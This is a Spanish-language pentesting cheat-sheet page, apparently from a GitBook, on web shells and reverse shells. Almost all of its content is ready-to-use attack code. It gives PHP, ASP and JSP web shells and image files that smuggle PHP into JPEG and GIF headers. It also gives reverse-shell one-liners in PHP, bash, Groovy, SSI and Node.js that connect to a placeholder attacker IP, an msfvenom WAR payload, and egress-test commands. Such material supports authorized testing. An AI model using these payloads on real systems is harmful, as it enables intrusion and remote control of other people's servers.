🔴
Pentesting, Ethical Hacking & Offensive Security
  • Inicio
  • General
    • Metodologías y estándares
    • Vulnerabilidades
    • Bases de datos de vulnerabilidades
    • Aplicaciones vulnerables
  • Reconocimiento y recolección de información
    • Información general
    • Información de recursos en Internet
    • Direcciones IP y ASN
    • Hosts
    • Domain Name System (DNS)
    • Subdominios y Virtual Host (VHost)
    • SSL/TLS y algoritmos de cifrados
    • Certificados
    • Tecnologías web
    • Web Application Firewall (WAF)
    • Sistema operativo
    • Google hacking / dorks
    • Buckets
  • Escaneo y enumeración
    • Descubrimiento de host
    • Sniffing y MitM attack
    • Escaneo de puertos
    • Identificación de servicios
    • Servicios
      • 21/TCP (FTP)
      • 22/TCP (SSH)
      • 25/TCP, 465/TCP, 587/TCP (SMTP/S)
      • 80/TCP, 443/TCP (HTTP/S)
      • 137/UDP, 138/UDP, 139/TCP (NetBIOS)
      • 161/UDP, 162/UDP (SNMP)
      • 389/TCP/UDP, 636/TCP, 3268/TCP, 3269/TCP (LDAP)
      • 445/TCP (SMB)
      • 1433/TCP (MSSQL Server)
      • 2049/TCP (NFS)
      • 3306/TCP (MySQL)
      • 3389/TCP (RDP)
      • 6379/TCP (Redis)
      • 27017/TCP (MongoDB)
    • Herramientas automatizadas
  • Explotación
    • Ataques de contraseñas
      • Wordlists y diccionarios
      • Fuera de línea (offline)
        • Archivo passwd y shadow
        • Archivo SAM y SYSTEM
        • Archivos zip
        • Hashes
      • En línea (online)
        • Hash
        • Password spraying
        • 21/TCP (FTP)
        • 22/TCP (SSH)
        • 23/TCP (Telnet)
        • 80/TCP, 443/TCP (HTTP/S)
        • 161/UDP, 162/UDP (SNMP)
        • 445/TCP (SMB)
        • 3306/TCP (MySQL)
        • 5985/TCP, 5986/TCP (WinRM)
    • Web
    • Active Directory
    • Mobile
    • Wireless
    • Servicios
      • 22/TCP (SSH)
      • 53/TCP, 53/UDP (DNS)
      • 80/TCP, 443/TCP (HTTP/S)
      • 445/TCP (SMB)
      • 161/UDP, 162/UDP (SNMP)
      • 1433/TCP (MSSQL Server)
      • 2049/TCP (NFS)
      • 3389/TCP (RDP)
      • 5985/TCP, 5986/TCP (WinRM)
      • 6379/TCP (Redis)
      • Git
    • Vulnerabilidades
      • CVE-2009-3103 / MS09-050
      • Netapi (MS08-067)
      • Heartbleed (CVE-2014-0160)
      • Shellshock / Bashdoor (CVE-2014-6271)
      • EternalBlue (CVE-2017-0144 / MS17-010)
    • Shells
      • General
      • MSFvenom
      • Linux/Unix
      • Windows
    • Stack-Based Buffer Overflow Windows x86
  • Escalamiento de privilegios
    • Transferencia de archivos
    • Linux/Unix
      • Información general
      • Búsqueda de archivos y directorios
      • Sudo / SUID (Set User ID)
      • Grupos
      • Capabilities
      • Herramientas automatizadas
      • PATH Variable
      • Python Library Hijacking
      • 2049/TCP (NFS)
    • Windows
      • Información general
      • Búsqueda de archivos
      • Herramientas automatizadas
      • Metasploit
      • Always install elevated
      • SeImpersonate / SeAssignPrimaryToken
      • Servicios
        • Permisos de servicio inseguros
        • Ruta de servicio sin comillas
  • Post explotación
    • Pillaging
    • Persistencia
      • Windows
    • Pivoting
      • chisel
      • Metasploit
      • Port forwarding
      • Proxy
      • socat
      • SSH Tunneling
      • Tabla de enrutamiento
Con tecnología de GitBook
En esta página
  • Web shells
  • Kali Linux
  • PHP
  • ASP
  • JSP
  • Imágenes
  • Reverse shells
  • PHP
  • Apache Tomcat
  • Groovy
  • Server-Side Includes (SSI)
  • Node.js
  • Revisión de ejecución de comandos
  • Revisión de puertos de salida abiertos

¿Te fue útil?

  1. Explotación
  2. Shells

General

AnteriorShellsSiguienteMSFvenom

Última actualización hace 1 año

¿Te fue útil?

Web shells

Kali Linux

/usr/share/webshells/

PHP

<?php system($_REQUEST['cmd']); ?>
<?php echo system($_GET["cmd"]); ?>
<?php
    if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
    }
?>

ASP

<% eval request("cmd") %>

JSP

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Imágenes

echo -n "\xff\xd8\xff\xe0<?php system('id'); ?>" > webshell.jpg
echo -n "GIF89a;<?php system('id'); ?>" > webshell.gif
exiftool -Comment="<?php system('id'); ?>" webshell.gif

Reverse shells

PHP

# /bin/sh
php -r '$sock=fsockopen("<attacker-IP-address>",<listen-port>);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("<attacker-IP-address>",<listen-port>);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("<attacker-IP-address>",<listen-port>);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("<attacker-IP-address>",<listen-port>);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("<attacker-IP-address>",<listen-port>);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

# /bin/bash
php -r "exec(\"bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'\");"
php -r "shell_exec(\"bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'\");"
php -r "system(\"bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'\");"
php -r "passthru(\"bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'\");"
php -r "popen(\"bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'\",\"r\");"

Apache Tomcat

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker-IP-address> LPORT=<listen-port> -f war -o revshell.war

Groovy

String host="<attacker-IP-address>";
int port=<listen-port>;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Server-Side Includes (SSI)

<!--#exec cmd="mkfifo /tmp/reverse-shell;nc <attacker-IP-address> <listen-port> 0</tmp/reverse-shell|/bin/bash 1>/tmp/reverse-shell;rm /tmp/reverse-shell" -->

Node.js

# /bin/sh
echo "require('child_process').exec('nc -nv <attacker-IP-address> <listen-port> -e /bin/sh')" > /tmp/revshell.js; node /tmp/revshell.js
# /bin/bash
echo "require('child_process').exec('nc -nv <attacker-IP-address> <listen-port> -e /bin/bash')" > /tmp/revshell.js; node /tmp/revshell.js
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(<listen-port>, "<attacker-IP-address>", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /test/;
})();

Revisión de ejecución de comandos

# Máquina victima
## Linux/Unix
ping -c 4 <attacker-IP-address>
## Windows
ping -n 4 <attacker-IP-address>

# Máquina atacante
sudo tcpdump -i <network-interface> icmp

Revisión de puertos de salida abiertos

# Wget
wget <attacker-IP-address>:443
python3 -m http.server 443

# cURL
curl http://<attacker-IP-address>:443
python3 -m http.server 443

# Bash
bash -c 'echo testing > /dev/tcp/<attacker-IP-address>/443'
rlwrap nc -lvnp 443

https://github.com/Arrexel/phpbash
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
https://github.com/ivan-sincek/php-reverse-shell